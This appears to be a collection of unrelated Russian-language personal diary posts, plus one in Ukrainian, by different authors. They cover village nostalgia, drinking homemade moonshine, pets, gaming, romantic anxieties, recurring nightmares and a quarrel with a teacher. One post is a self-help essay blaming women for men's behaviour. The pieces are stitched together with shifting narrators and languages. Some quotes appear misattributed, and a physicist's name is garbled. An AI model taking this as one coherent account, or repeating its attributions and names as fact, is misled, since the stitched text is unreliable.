Артур сегодня проснулся в час, всё у него ок, а я уже вторую неделю сплю по пару часов из-за хлопот с Васенькой. Спустя пару минут перезвонил Артур: "Ну что, позвонила вету? Ясно, давай", - и положил трубку после того, как я ответила, чтобы он сам позвонил. Просто скажите: как я могу спрашивать у вета, как промыть катетер, если я даже не рядом с Васей и не знаю устройства катетера? Как сказала мама: "Этот испорченный телефон ни к чему. Пусть хоть раз сам позвонит".

Вчера лежала, не могла уснуть. Вспоминала дни минувшего прошлого и меня захлестнула волна счастья.

Мне летом открыли глаза на мой поселок, в котором я прожила полных 16 лет, потом еще 4 года приездами раз в месяц на несколько дней. Именно летом прошлого года я в последние месяцы смогла понять то, чего не понимала раньше и насладиться последними деньками.

Я горжусь тем, что я "деревня". Я из другой породы (улыбающийся со слезами на глазах смайл).

Я повидала многого, много людей. И могу с уверенностью сказать, что деревней делает человека не место его жительства, а менталитет и характер, воспитание если хотите.

Когда была маленькой, всегда задавалась вопросом, мол, как я поеду в город? Мне придется все делать самой, без помощи мамы и папы. Как я, в конце концов, буду ездить на транспорте и добираться куда-то сама? Да я даже лифтом пользоваться не умею. И правда, когда я только в 16 лет приехала в Канск, маленький город, похожий на поселок, но город (!), я все время боялась сесть не на тот автобус… И когда однажды я проехала одну остановку в сторону от вокзала, меня чуть кондратий не хватил, я поняла, что отныне справлюсь со всем.

Я в Красноярске, городе-миллионнике, могу доехать хоть куда, хоть откуда. Я бы с радостью поехала сейчас куда-нибудь в Москву или в другую страну, были бы деньги и время. Пфф

Мой поселок, с его отсутствием многоэтажных домов, светофоров и большого количества народа многому научил. Подготовил для будущего ритма жизни. Я этого сама не понимала.

Я вообще считаю, что человек обязан пожить хоть пару лет в деревне. И если у вас есть дача за городом, оставайтесь там чаще! Это хождение босыми ногами по утренней траве в росе ни с чем не сравнимо. Эти зимние валяния в сугробах под домом, эти облизывание чистейших сосулек.

Большой огород, кустарники с малиной, большие муравейники, колючая крапива и много всякой нежелательной живности, типа пчел, комаров, шмелей и оводов, которые норовят укусить тебя за черепушку (что им и удавалось сделать со мной) :D

Это все прекрасно. Я могу писать и писать о своем детстве. Оно было потрясающим!

Но лето 2015 стало последним летом в моем поселке. Родители купили мне квартиру в Красноярске, сами переехали в местный микрорайон, а дом на земле отдали по закону государству. Весь июль мы перетаскивали вещи в новое место, потихоньку освобождая дом. В конце июля я уже спала в своей пустеющей комнате на двух матрасах и считай голом полу.

Ко мне приезжал в гости Э. и мы вместе жили неделю в доме, родители ночевали в квартире. Моя мама сделала как-то в начале лета домашний самогон на анисовых зернах. Если нюхали анис, который кстати помогает от кашля (+1 к полезности самогона :D), то знаете что на вкус и запах он не очень. Самогон вышел знатный: крепкий, натуральный, а самое главное с противным запахом, от которого при каждом глотке воротишь нос. Вообще, у меня с этим самогоном самые теплые воспоминания.

Я вообще не могу себя назвать любителем выпить, скорее наоборот. Я всегда предпочту алкоголю вкусную сытную пищу. Но выпить первый раз что-то крепче вина я хотела. И тут выдался повод. Помню это чувство, когда 40 градусов попадают в тебя и мгновенно становится тепло в груди, во рту. И совсем не горько, не противно (разве что от анисовки :D). Я ушаталась просто за 5 минут. Но мы продолжали пить, я несла бессознательную чушь. И примерно через полчаса-час я захотела спать.

Э. сказал, что сам укладывал меня в приличную позу на кровать, я что-то бормотала. Но вспомнить наутро этого не смогла. И как заснула тоже. Утром ни головной боли, ни какого-либо другого недомогания не было. В принципе, у меня никогда еще не было похмелья. Я не много пью.

Наутро мама с папой пришли домой и офигели, что их настойка кончилась :D

Да да, у меня с родителями довольно доверительные отношения. Не подумайте, что мама направо-налево поощряет выпивку. Нет. Просто вышло как-то так.

В Решотах (это мой поселок) классно. Там можно пойти гулять и не встретить ни одной живой души. А еще есть всякие тайные места, в переулочках, в низинах, которые повидать мне, к сожалению, уже не представится возможным.

Хорошо, что есть блог и твиттер. Воспоминания - это отличная вещь. Я горжусь своим местом рождения. И менять ничего бы не стала.

ОДНО ВАШЕ ПРИЗНАНИЕ

Несмотря на всю независимость и желание быть особняком от всех, я внури себя знаю, что мне все же нужен soulmate. Другой вопрос в том, встречу ли я когда-нибудь.

Мы ездили на выходные отдыхать на Губаху. Отдых был охрененный и замечательный: Уйма каталова, море спиртного и даже шмаль))) , а еще веселая компания и он рядом. Хотела здесь все написать… Но сейчас моя самая лучшая подруга просто убила все настроение. Она кормила моего кота. Когда я приехала она оставила мне приготовленную еду… Я ей сто раз сказала спасибо. Предлагала отдать деньги которые она потратила. Итог она выставила меня неблагодарной, сказала что чем больше делаешь для человека тем меньше отдача и тд и тп… Я ни разу за все время дружбы ее не упрекнула в неблагодарности. Я постоянно ее возила куда надо и сколько надо. Я терпела ее перепады настроения. Я прощала резкие изменения планов. А теперь я за то, что она сделала должна была в благодарность даже не знаю что сделать!!! Обидно до жути…

У меня болит зуб третий день, но мне лень встать в семь утра и сходить к врачу :D
С Артуром из 10 игр проиграли только одну. А вчера такую игру затащили, это просто взрыыыыв мозгаа. Причем тиммейты говорят такие "7 каточек проиграли подряд", а у нас же было на тот момент 9 вин. В общем свели нас с лузерами. Они по началу жестко сливались, но яя как собралась, в общем начало обеспечила, а Артур молодец, игру закончил: 3 Начал прислушиваться к моим советам, я очень этому рада. Помню как он играл за спектру, собрал 5 слотов, из них одни - это ботинки, в итоге 4 всего.. Я говорю ему, деньги есть, собери еще что-то!11 А он игнор и мы проиграли. И так было постоянно.


Еще болит у меня между "подмышкой" (ахахахахах, ор, прикольное слово) и грудью. ААА, мне 18 лет, а у меня реально все тело болит, везде все плохо уже. =((

Вчера посмотрела "Судья". 10/10. Актеры отличные, сюжет супер. Люблю когда кроме всего прочего, еще и красиво снято.

Артур не бесит и слава Богу))

Капец

Откопала в туалетном столике какое-то масло, которое дала мне сестра еще летом. Погуглила, нашла, что оно для лица используется. Намазалась им пару раз и щас я похожа на чмошное чмо.

У меня на левой стороне лица 3 больших красных пятна, будто меня укусили дикие мухи, причем болят, когда трогаешь.

Я не знаю, от масла это или нет, но мне так стремно. Вчера собиралась до банкомата и молила богов, чтобы эту дрянь замазать. И не замазалось.

Кароче, жду до выходных. Если не пройдет - буду принимать меры.

А может это вообще от еды. Я что не куплю - все портится. Ну не ем я много одна. Купила хлеб маленькую булочку - лежит почти на 80% целая и подсыхает. Ем вареники с картошкой уже 4 дня. Меня все бесит.

Скорее бы суббота.

Люблю, когда друзья выставляют фото, где только они нормально получились. Кто-то закрыл глаза? У кого-то не видно половины лица? "Ах, это ты, дружок. Зато я красавчик. Да и вообще - ты же тут тоже норм, подумаешь, перекосило слегка, разве ж это проблема, когда на этой фотке я улыбаюсь лучше, чем на предыдущей"

Мне не хватает встреч с тобой, мне не хватает тебя! И черт возьми, я жутко скучаю по тебе! Но тебе видимо достаточно того, что происходит между нами сейчас. Я не хочу больше верить твоим словам. Я хочу ощущать, что я нужна тебе…

Я не знаю, что делать, как так дальше жить.

Я просыпаюсь каждый день вся дрожащая, злая по той причине, что мне почти каждый день снятся измены Китти! Меня это сводит с ума! Сегодня меня всю колотило, дрожали руки; злая, не хочу, не готова ехать к репету.

ЧТО ДЕЛАТЬ, ЧЁРТ ПОБЕРИ.

Картинка с тегом «boo, monsters inc, and disney»

Сложно любить свою работу, когда к тебе начинают придираться по мелочам и находят недостатки. Когда советуют пропить таблеточку для памяти и не переходить на личности, при этом говоря, что я все делаю не так, а ведь все просто, ведь этот как 2 на 2, как второй класс начальной школы. Я правда, честное слово, любила раньше свою работу. Мне нравилось приходить, следить за магазином, разговаривать с людьми. Я знала, что моя начальница истеричная стерва, но то, что мне устраивают последние два месяца, мои нервы не выдерживают. Как можно так общаться и относиться к своим работникам и требовать потом уважения? Я не понимаю. Так хочется уволиться. Уехать куда-нибудь и исчезнуть. Слишком устала морально.

-Моя Талыко-ДудичЬ.

Мопс недовлен, что у всех рано началось утро.

Боец всё понимает, боец готов.

Русская голубая девочка, которую выбросили(

Всеми силами пытаюсь её пристроить.

Зачем есть, когда за 6 часов лучше выпить три стакана кофе. Это сарказм, если что.

Кинг чарльз спаниэль.

Зеннехунд.

Той терьер.

Йоркширский терьер.

Девочка-переросток.)

Но она безумно милая и мягкая!^^

Изменила Китти.. с восьмимесячным Байкалом. Моя любовь. Зацеловал меня до смерти.

Бультерьер.

-Ой, лучше не зовите её.. накинется, свалит с ног и залижет до смерти.

Первая еда спустя 6 часов сидения в клинике.

Мой шеф-повар приехал, кормит умирающую принцессу.

Пока Китти готовит, я пытаюсь вернуться в колею, восстановить хоть немного сил.

Дядя Китти:

-От бабушки для девушки Влада, - ^^.

В жизни они намного сочнее.

Первое блюдо моего любимого мальчика.)

Я видел пьяниц с мудрыми глазами
И падших женщин с ликом чистоты.
Я знаю сильных, что взахлёб рыдали
И слабых, что несут кресты.

Не осуждай за то, в чём не уверен;
Не обещай, если решил солгать.
Не проверяй, когда уже доверил
И не дари, планируя отнять.

Молись тогда, когда реально веришь;
Живи лишь с тем, кого ты любишь сам.
Гони прочь тех, кого ты ненавидишь;
И доверяй глазам, а не пустым словам.

Уехать в город за Полярным кругом.
Замерзнуть, согреться, пару раз влюбиться, утонуть в снегу, напиться горячим кофе, обжечься морозным воздухом. О чем-то сильно мечтать. По случайности опьянеть от её полусладких духов.
И вдвоем потеряться где-то в феврале.

На своих семинарах, после женских жалоб на мужчин, я прошу ответить на один вопрос, этот вопрос сложный, но честный ответ на него способен все изменить. Если вас что-то не устраивает, спросите себя: «Как Я это создаю?». Понимаю, что у вас, возможно, сейчас в голове мелькнула мысль: «А я тут при чем?! Это мужчины не такие сейчас!». Возмущение принимается, но предлагаю поисследовать причинно-следственные связи того, как мы своими руками «убиваем» в мужчинах мужчин.

Давайте рассмотрим самые популярные женские жалобы под новым углом, итак – мы хотим…, а сами тем временем…

1. Мы хотим, чтобы мужчины дарили цветы и подарки, а сами тем временем совершенно не умеем это принимать.

Свете хочется, чтобы муж дарил цветы и подарки без повода, но в самом начале семейной жизни, каждый раз, когда он это делал, она устраивала ему допрос о потраченной сумме, после чего некоторое время вздыхала и пилила его за то, что «эти деньги можно было бы потратить с пользой для семьи, а ты …». Стоит ли говорить, что энтузиазма мужчины хватило не на долго.

Как принимаете подарки вы? Просто на мгновение представьте себя на месте вашего мужчины и честно ответьте себе на вопрос: ваша реакция мотивирует делать вам еще приятности или лишает какого – либо желания это делать? Принимаете ли вы подарки с благодарностью и положительными эмоциями или воспринимаете их как должное?

Когда мужчина совершает какие-то поступки, он ожидает от женщины положительного эмоционального возврата, как подтверждение того, что он смог осчастливить собой (своим поступком) любимую женщину. На подсознательном уровне у каждого мужчины есть потребность осчастливить любимую женщину и, когда вместо положительного отклика, поступок вызывает ворчание, он понимает, что задача не выполнена, если же такая реакция будет повторяться, то мужчина сделает вывод о том, что его поступки не вызывают счастья, а влекут за собой ворчание (т.е. женщина стала еще более несчастна). Есть ли смысл их совершать?

2. Мы хотим, чтобы мужчины уважали женщин, а сами тем временем своими поступками и словами демонстрируем неуважение к слабому полу.

Мне часто жалуются на то, что мужчины не уважают женщин и демонстрируют это поступками и словами. Подумайте, а мы сами уважаем себя и других женщин? Как часто мы в неуважительной форме говорим о других женщинах, критикуем их, высмеиваем, мужчины это видят и просто «зеркалят» нам наше же поведение.

«Зашла в маршрутку, мест свободных не было и мужчина, который сидел рядом с женщиной, попытался подняться, чтобы уступить мне место, в этот момент его спутница одернула его за рукав и сказала: «Сиди, ничего страшного не случится, если она постоит». Марина, 25 лет.

Если вы хотите видеть мужское уважение к женщинам, начните сами уважать представительниц слабого пола.

3. Мы хотим, чтобы мужчины были внимательны и галантны, а сами тем временем блокируем самые незначительные их проявления.

Вот скажите, вы хотите, чтобы вам уступали место в транспорте? Открывали перед вами дверь? Помогали донести сумки к машине? А теперь вспомните свою реакцию, когда мужчины делали это – вы с благодарностью принимали помощь и внимание или старались по - быстрее избавиться от помощи, отказывались? Если вы реагируете благодарностью, думаю, что галантных мужчин в вашем окружении больше, а если ваша реакция ближе ко второму варианту не удивляйтесь, почему таких мужчин в вашем окружении практически нет.

Мне вспоминается случай в транспорте, когда сидящий рядом со мной мужчина попытался уступить место вошедшей девушке, а она стала отказываться и «усадила» его назад, после чего он повернулся ко мне и сказал: «Как с вами, девушками, быть внимательным, если вы это не принимаете?». И он был прав! Я думаю, что еще пару таких реакций на попытку уступить девушке место «отобьют» любое желание даже пытаться это сделать. А зачем, она ведь все равно выходит на следующей остановке?

4. Мы хотим помощи в быту, а сами тем временем критикуем за малейшую оплошность.

«Однажды попросила мужа вымыть посуду, так он это сделал настолько ужасно, что я при нем стала перемывать! Мою, злюсь на него и рассказываю, как правильно нужно было делать, а он знаешь, что сделал? Посмотрел на меня, ни слова не сказал, развернулся и вышел! Теперь вообще ни в чем не помогает, говорит: «Ты сама все лучше сделаешь». Гордость его, видите ли, задета!» Вита, 27 лет.

Согласитесь, когда мы помогаем в чем-то, то каждой из нас приятно было бы услышать слова благодарности, но почему то, мы не считаем нужным сказать «спасибо» в ответ на мужские поступки, но не забываем покритиковать и научить. Как же быть, если он делает не так как нужно?

Выход: воспользуйтесь простой формулой: поблагодарите партнера за его помощь (скажите спасибо, обнимите, поцелуйте и т.д.), после этого обратите его внимание на то, что он сделал лучше всего и добавьте, что если в следующий раз еще то-то и то-то сделает по-другому (расскажите, как в вашем понимании это лучше сделать), то его помощи цены не будет. Например: Любимый, спасибо, что ты пропылесосил палас, стало так чисто, давай в следующий раз ты ещё и за диваном пропылесосишь, и тогда у нас вообще идеальная чистота будет! :) Согласитесь, это лучше чем «пилить» мужа за то, что он забыл отодвинуть диван. :)

5. Мы хотим, чтобы они исполняли наши мечты и желания, а сами тем временем не рассказываем им о своих ожиданиях.

Марина не говорит о своих желаниях своему любимому, а потом страдает из-за того, что он не догадался о том, чего она хочет. Все просьбы мужчины рассказать ему, как сделать ее счастливой пресекаются фразой: «Если я тебе скажу, что хочу цветы, и ты мне их подаришь, то я буду знать, что ты это сделал не потому что хотел мне их подарить, а потому что я попросила, а это совсем не одно и тоже!».

По какой-то необъяснимой причине мы надеемся, что наш партнёр обладает экстрасенсорными способностями и, поэтому должен знать чего мы хотим. Но, правда в том, что если мы не будем помогать любимым понимать наши желания, то разочарований и нереализованных ожиданий с каждым днем будет становиться больше. Что с эти делать? Ответ здесь.

6. Мы хотим, чтобы мужчины нас любили, заботились, баловали, а сами тем временем экономим на себе, занимаемся самоедством и в глубине души холим и лелеем сомнение в том, что нас есть за что любить.

Если вы хотите, чтобы ваш мужчина баловал вас, заботился, то важно самой начинать баловать, заботиться и любить себя. Окружающие чаще всего относятся к нам так, как мы относимся сами к себе. Думаю, что вы замечали, что если женщина экономит на себе и испытывает неловкость и чувство вины, когда тратит на себя деньги, то ее мужчина, каким бы щедрым он не был в начале отношений, скорее всего со временем будет тратить не нее столько же либо еще меньше.

Здесь выход один: научится принимать себя, свои желания, перестать «задвигать» себя на дальний план, а взять и полюбить себя, баловать себя и заботиться, заботиться и еще раз заботиться, ведь вы у себя одна! :)

Мы вкратце рассмотрели самые популярные женские жалобы на мужчин, и я надеюсь, что вы осознали то, что многое в поведении мужчин является реакцией на наше женское поведение, а это значит, что у нас есть шанс помочь мужчинам «пробудиться» и выйти на мужской путь.

Когда меняемся мы, меняется мир вокруг нас, помните об этом!

Счастья вам!

Наталия Лисянская

"Смерть приходит внезапно. Она с ноги открывает дверь в твое сердце и вырывает оттуда самый огромный кусок. Вырывает, а взамен не оставляет ничего. Только бесконечную боль и пустоту, которую ты увы никогда не сможешь заполнить".

(via vrai )

Сегодня приснилось, что мы расстались. Причину не знаю, не знаю и чья инициатива. И тут же мне какие-то парни начали предлагать секс. Глупый сон. Я отказывалась. Пыталась вспомнить с кем же мне было хорошо и почему я сейчас всех отшиваю от себя. Вспоминаю, что это Сережа. Пишу ему. Он не отвечает. И всю ночь истерика. Потому что понимаю, что лучше его нет. Понимаю, что не хочу никаких новых отношений, потому что это все сначала. Это очень тяжело. А тут ещё в соц.сетях его фото с какой-то девчонкой. И как же это все было неприятно. И какое счастье, что я проснулась от того, что он притягивает меня к себе. Что с моим подсознанием? Дурость какая-то в голове. И неприятные ощущения с утра(

я устала просыпаться от кошмаров. кошмарами в прямом смысле этого слова их назвать, чаще всего, трудно, но это настолько тягучие, тревожные и страшные в своей повторяемости сюжеты, что я устала.

обычно они разбиваются на четыре группы:

1) кровавые кошмары (я кого-то убила, меня кто-то хочет убить, меня вынуждают кого-то убить, кто-то убивает кого-то на моих глазах)

2) "я заблудилась". обычно, на протяжении всего сна я просто блуждаю одна по каким-то незнакомым или даже знакомым местам, чаще всего под снегом, и я абсолютно не знаю куда идти, и это ощущение всепоглощающей беспомощности и этого одиночества доводят до бессильных рыданий еще во сне. забавно, но у этого есть очень реальная подоплека в реальной жизни: я ненавижу незнакомые места, я ненавижу посещать их, ненавижу разбираться в них, ненавижу. недавно видела пост на тамблере, мол, "я не могу общаться с незнакомыми людьми, но не испытаю никаких проблем, если придется оказаться одной и ориентироваться в незнакомом городе". так вот, НЕТ. я предпочту десять ужинов в ресторане с абсолютно незнакомыми до этого людьми, чем вот это. меня охватывает паника и я просто цепенею. указатели не воспринимаются, картой пользоваться не получается. потому что в голове нон-стоп пульсирует: 'ты этого не знаешь, ты этого не знаешь, ты этого не знаешь'. и ужасный, леденящий стыд. впрочем, как и всегда, когда я чего-то не знаю (а не знаю я очень много), меня настолько выбивает из реальности, что пальцы дрожат, дышать тяжело и я вся скована осознанием собственной глупости и ничтожества. мне настолько стыдно и плохо, что я даже не могу заставить себя посмотреть в википедии, что же это за хуйня, о которой я ничего не знаю. ведь я УЖЕ должна это знать, я ДОЛЖНА знать ВСЕ. уровень непродуктивности такого отношения к себе измерить, пожалуй, даже невозможно, но преодолевать себя порой просто нет сил. один раз я все-таки заставила себя разобраться в одной вещи и дрожала и оглядывалась по сторонам все то время, что этот разбор занял. так что знайте, если вы имеете для меня какое-то значение и невзначай поправляете какую-то мою ошибку или замечаете какой-то изъян во внешности, снаружи я могу казаться абсолютно спокойной, но внутри я умираю.

3) "их больше нет". мои "любимые" кошмары. меня оставляют какие-то дорогие мне люди, и я пытаюсь их найти, но их нигде нет (ни в соцсетях, нигде), и вот я тщетно пытаюсь отыскать то, чего уже нет, и я вся такая покинутая и брошенная…

4) "все идет не так". сегодня был как раз из этой серии. это кошмары, вызванные, наверное, моей повышенной тревожностью в том, что касается планирования времени. каждый раз, когда я назначаю встречу с кем-нибудь, я перепроверяю место и время двести раз, рассчитываю, сколько мне потребуется добраться до места, тоже несколько раз, а если нужно скоординировать между собой аж два плана в один день, то это просто занавес. в таких снах со мной просто постоянно происходит какая-то хуйня, это даже не страшно и не тревожно, просто количество хуйни зашкаливает и я просыпаюсь. то я еду в питер и на полпути обнаруживаю, что внезапно (!) не взяла с собой чемодан (после чего возвращаюсь в москву (не предупредив встречающего меня в питере человека, что я возвращаюсь в москву), беру чемодан, и СНОВА еду в питер, где, разумеется, не встречаю того человека)), то я просто мотаюсь в какой-то дикой тревоге из угла в угол, пытаясь понять, когда мне встречаться с машей и встречаться ли вообще (абсолютно прекогнитивный сон, лол). сегодня мы за каким-то хером всей семьей приютили какую-то девушку, которая в благодарность решила работать у нас домохозяйкой. мне кажется, этот сюжет вдохновлен л ворд, потому что там тоже была некая особа, сначала бывшая на подчиненном положении, а потом… но не суть. в общем, я раздражалась на нее постоянно безмерно. то она попросит сходить с ней в продуктовый магазин с утра (я говорю, какой в пизду продуктовый, я собираюсь в университет, мне нужно накраситься и одеться, я не успею) (а она такая, 15 минут, конечно успеете) (ну не охуевшая ли), то предлагает испечь вместе булочки (я говорю, какие нахуй булочки, я уже испекла шарлотку, чем тебе этого недостаточно). в общем, события прогрессируют, и я понимаю, что она хочет занять мое место. и вот уже и мама к ней более благосклонна, чем ко мне, и сама она как-то все больше и больше становится похожа на меня, и в общем мне все это надоедает и я просыпаюсь. где-то в середине этого сна я еще лихорадочно пыталась накраситься, куда-то дико торопясь, и все сыпалось у меня из рук, и мои румяна были не моими румянами, а какими-то другими, и они постоянно крошились, и моя кисточка для румян почему-то была мокрая и клочкастая, и я нигде не могла найти свой линер (собственно, отчаянные попытки его найти и привели к тому, что все содержимое моей косметички ебнулось в ванну). классический пример "все не так".

наверняка, были какие-то сюжеты, выбивающиеся из этого списка, но это, пожалуй, основное. зачем я это написала? fuck if i know. но пусть будет.

Университет. Немного опоздала сегодня на первую пару. Зашла в аудиторию, а в ней нет мест, ну только в первых рядах, а я не любитель сидеть перед глазами преподавателей, потому что читаю всю пару книгу, ну и следовательно я последовала к единственному свободному месту на последних рядах. Там лежала куртка, а девушка, которая сидела рядом заявила мне что там занято, ибо там лежит её куртка. Не понимаю почему на моем факультете учатся такие люди. Люди собственники. Люди, которые жаждут хапнуть все для себя любимого. Люди эгоисты. Вот они будущие депутаты РФ. Будущее страны. Как же я терпеть не могу свой университет.

Не суди и не обижайся на людей. Что бы они тебе ни сделали, не возненавидь никого. Каждый поступает согласно тому, как научен, какой имеет характер. Не многие обладают добротой и рассуждением.

Старец Иероним Эгинский

Любовь – это не сделка, которая считается браком, не страсть, похожая на мелодраму, не животный инстинкт, за которым охотятся многие люди, а чувство глубокого уважения к чужой жизни и желание украсить ее радостью и красотой.

Олег Рой

Бриллиант упавший в грязь, всё равно остаётся бриллиантом, а пыль поднявшаяся до небес, так и остаётся пылью.

Китайская мудрость

Когда ты будешь ценить то, что у тебя есть, а не жить в поиске идеалов, тогда ты по настоящему станешь счастливым.

Ницше

Как-то от нечего делать, я листала старые записи своего блога. И раньше я описывала каждое похождение куда-либо, каждую гулянку, каждое событие. И так здорово всё это перечитывать, всё это вспоминать. В последнее время я не пишу о таком, ибо мне казалось, что вам это надоедает. И многое сюда не написала, что хотелось бы помнить. Но, похоже, я снова это возобновлю. Снова буду писать о том, как проходили некоторые мои дни, буду писать о каких-то гулянках. Ведь это память. Правильно Даша как-то писала про свои фотографии и рассказы подробные. Что память-то может подвести, если вообще не исчезнуть. Да и многое просто теряется где-то в нашем сознании. Зато я всегда смогу прочитать и вспомнить какие-то моменты из своей жизни.

Вот мне обычно никогда не снятся сны про учёбу. Особенно про университетскую учёбу. Моим одногруппникам всегда перед сессией, во время или после неё, снятся сны про экзамены, с преподами-экзаменаторами и прочей бурдой. Я всегда удивлялась, потому что меня такое никогда не беспокоило. А тут, когда я решила взять себе отдых, меня эти сны просто задолбали. То просто одногруппники снятся, то одноклассники. И вот уже второй раз снится сон, как я иду на свою любимую пропедевтику, чтобы поговорить со своими ребятами, я вижу своего преподавателя, которая мне нравилась, и она знала, что я хорошо занимаюсь, которая мне поставила тот злосчастный зачёт.
И второй раз этот сон начинается одинаково. Я иду в университет, чтобы встретиться с ребятами перед парой, и всегда перед парой меня палит препод, что я пришла (но она не знает, что я больше не учусь), и подгоняет, чтобы я скорей поднималась в кабинет. А после того, как она уходит или начинается какая-то шумиха, я сваливаю, так и не успев поговорить со своими одногруппниками. И сны такие яркие постоянные. Надеюсь, больше мне этот сон не будет снится, а то с ума сойду. Ох, подсознание моё, что же ты делаешь, мне и так трудно. И, главное, во сне я знаю, что не учусь, и я не хочу учиться, но люди с моей группы просто не отпускают меня, и мне так не хочется их отпускать. За это время они стали такими родными. И хоть я свыклась с мыслью, что учёба пока что меня не будет волновать, всё равно скучаю по ребятам.

Грустно. Сегодня ещё и первый день учёбы.

А ещё был момент, что я во сне просто дико смеялась, я была рада, и счастлива. И во сне я подумала "надо утром в соннике найти, что значит смеяться аж заливаясь". Посмотрела я. Обычно говорят, что снится во сне, то наяву будет наоборот. И да, смех - к слёзам.

Дело в том, что я не открываю учебник физики в принципе. Если в этом полугодии у меня выйдет 4, то в аттестат тоже пойдёт 4. Сегодня физичка буквально на секунду меня спросила, можно даже сказать просто произнесла мою фамилию, а потом переключилась на другого ученика. В конце урока она села за мной, слушала презентации. Решила "пошутить" надо мной. У доски что-то рассказывал мой одноклассник, я сижу слушаю, на слайде портрет физика Генриха Гейца (написано там даже, мать твою), а физичка такая: "(моя фамилия), кто на фото?" Я аж потеряла дар речи на секунду, потому что было сказано об этом и написано. Отвечаю ей, она спрашивает у выступающего, мол, правильно ли я ответила, тот кивнул, а физиня: "А я-то думала, что ты ответишь, что с ним лично не знакома". Естественно, кроме неё, никто не оценил "шутки". После уроков она снова меня оставила, говорит: "Лабораторные и контрольные ты списываешь. Я разговаривала по этому поводу с твоим классным руководителем, но не пойман — не вор, как говорится. Ты у меня такая вторая ученица. Если я задамся целью тебя сжить со свету, завалить и поймать, то я же это сделаю, учти". Я была просто вне себя от ярости. До сих пор отойти не могу.

Давно я здесь, конечно, не строчила. Почему-то захотелось именно сейчас, в метро ко второй паре. Сессия прошла неожиданно хорошо в плане резльтатов. Потом звонили всякие люди по работе, хотели учителя для мелких. То в школу, то в детский центр, я от всего отказалась, ибо какие дети, о чем они вообще? Я не сходила на аморфис, хотелось реабилитироваться после слэйер, но сказали, что их концерты так себе. Компании, к тому же, не было. А идти одной как-то э не то, чтобы днище, но близко к нему. Мне снилось, что раньше наша планета висела по-другому. А потом под тяжестью она перевернулась, немного опустилась что ли. И я видела всю эту тьму. Люди жаловались, что теперь стало меньше света. Скучаю по прошлому году. Смотрю всякие стажировки, хотя знаю что пока уехать не могу. Тоска.

Стою с человеком с человеком у своей двери, разговариваем, ищу в сумке ключи, и слышу из квартиры характерный скрип второй двери, когда её открывают. Вот сразу всё ясно. У меня аж вскипело, я поскорее начала прощаться, в секунду нашла ключи и распахнула дверь с рёвом "ну чё, интересно подслушивать?!" блять, сколько я себя помню, они стоят за дверями и слушают! когда по телефону говорю-носятся за мной, как собачонки! Сколько они народу распугали! раньше, когда я ещё водила домой гостей-гость выходит из комнаты в туалет и натыкается на любопытное ебало, которое ухом к скважине приросло! Это же позорищееее невероятноееее.. Ну, короче, сегодняшний человек, который ещё не успел уйти на безопасное расстояние, был малость в ахуе с такого поворота. Не хочу даже знать, что у него там за мнение сложилось о нашей прекрасной семье

Привіт. В черговий раз, коли я думала, що життя налагоджується, воно засунуло ніж в спину геть по саме рукояття. Чергові граблі, черговий досвід. Але так хочеться щастя, так хочеться кохати взаємного. Невже я цього не гідна? Із заздрістю дивлюсь, що інші зустрічаються по декілька років, одружуються, вагітніють… а ти просто сидиш… хм, чому так? Скільки ще випробувань підготувала доля?

Когда я в последний раз писал здесь? Не помню… В общем, меня медленно, но верно поглощает ещё одна влюблённость. Познакомились мы с ней уже давно, когда мы с Линой проводили у неё день рождения. Уже тогда она меня привлекла. Есть в ней что-то такое… Короче, если во мне просто тлеют угли, то она - настоящий огонь. Первое слово, которое приходит на ум, когда я пытаюсь охарактеризовать её - это "живая". Она из тех людей, которых тяжело представить в плохом настроении, в ней полно сюрпризов, у неё множество увлечений… Короче, я и близко не стоял. Сейчас она в нашей команде по проведению кабинеток и я всё больше к ней привязывался. После поездки на конвент, где наша команда провела три дня в одной комнате, я понял, что попал. Я бы мог признаться ей, но если я не слепой идиот, то никакой взаимности и близко нет. В таком случае, это только создаст напряжение внутри команды. Это перестанет быть только моей проблемой, решение которой зависит только от меня. А пока я постоянно думаю о ней и не могу успокоиться. И дело совсем не в том, что у меня больше двух лет не было секса - это было бы легко исправить. Возможно, мне удастся выжечь из себя это чувство, но всё внутри меня протестует против этого. Но лучше, блин, страдать от того, что любви нет, чем от того, что она не взаимная.

Наверное, где-то с этих числел февраля (6-8), моя жизнь начала круто меняться. Еще год назад я была наивной девочкой, которая каждый оказанный знак внимания, даже минимальный, принимала за любовь. Дада. Вот так сразу. Бегала за Васей, написывала, думала, что нравлюсь. Но не тут-то было. Когда он меня (пьяную) поцеловал, а потом сказал, что не хочет отношений.. Вот тогда я и решила сь что-то изменить в себе. А конкретно - поменять своё отношение к людям. Ведь кроме Васи меня вот так вот оставляла еще лучшая подруга, переспав с парнем, в которого я была целый год по уши. Но теперь из них получилась отличная пара, я ни о чём не жалею)
Ну так вот. Я поняла, что кроме меня я никому больше и не нужна. Больше начала прислушиваться к себе, к минимуму свела свой круг общения. Стала следить за внешностью. В ту весну я кардинально изменилась. Как внешне, так и внутренне. Минус 10 кг. Минус N-ное количество лже-друзей. И знаете? Жить стало намного легче) Может, дело в сброшенных килограммах :D

Стоило мне измениться, и объявился угадайте кто? Правильно. Василий.
Это было в день моего рождения, 28 апреля. Я даже не могла этого представить!! Да, я всё это время страдала по нему. Заходила каждый божий день на его страницу, отслеживала все лайки. Но где-то в глубине души смирилась, что между нами ничего уже не будет. И тут такое. Явился на мой др. Но я старалась с ним не общаться, даже взглядами не пересекаться. На тот момент я более-менее отошла от него, перестала думать. Потом он вызвался проводить меня до дома.. Девчонки мои подарили мне букет, орхидеи были, кажется. Он взял этот букет, протянул мне и сказал: "Будь моей девушкой".. Сказать что я потеряла дар речи - ничего не сказать. Но потом я собралась, вспомнила как я из-за него страдала, и выдала: "Я подумаю" :D С понтом) Ну смешно же) На самом деле я уже сразу всё решила. Но сразу соглашаться было бы неуважительно по отношнию к себе. Думала я три дня. На третий день он заявился бухой, сказал что любит меня и хочет уже услышать ответ. Да. И вот. Со второго мая у меня началась совсем другая жизнь.
Но на протяжении всех этих 9 месяцев отношений я всегда жду подвоха. Что он сможет кинуть как и в прошлый раз. Но он старается, правда. Пусть не всегда выходит меня убедить. Я осознаю, что мне с ним повезло. А ему со мной не очень. Истеричка неуравновешенная порой. Загоняюсь из-за пустяков. Но это он меня такой сделал. Но на самом деле я спокойный человек, практичный. Просто так меня из себя не выведешь. Наверное, только на него я так реагирую. Иногда, когда я захожу слишком далеко, срабатывает стоп-сигнал. Настя, завязывай. О таком как он, мечтают все. Любящий, нежный, заботливый, хозяйственный. Хватит выёживаться. Люби и наслаждайся.
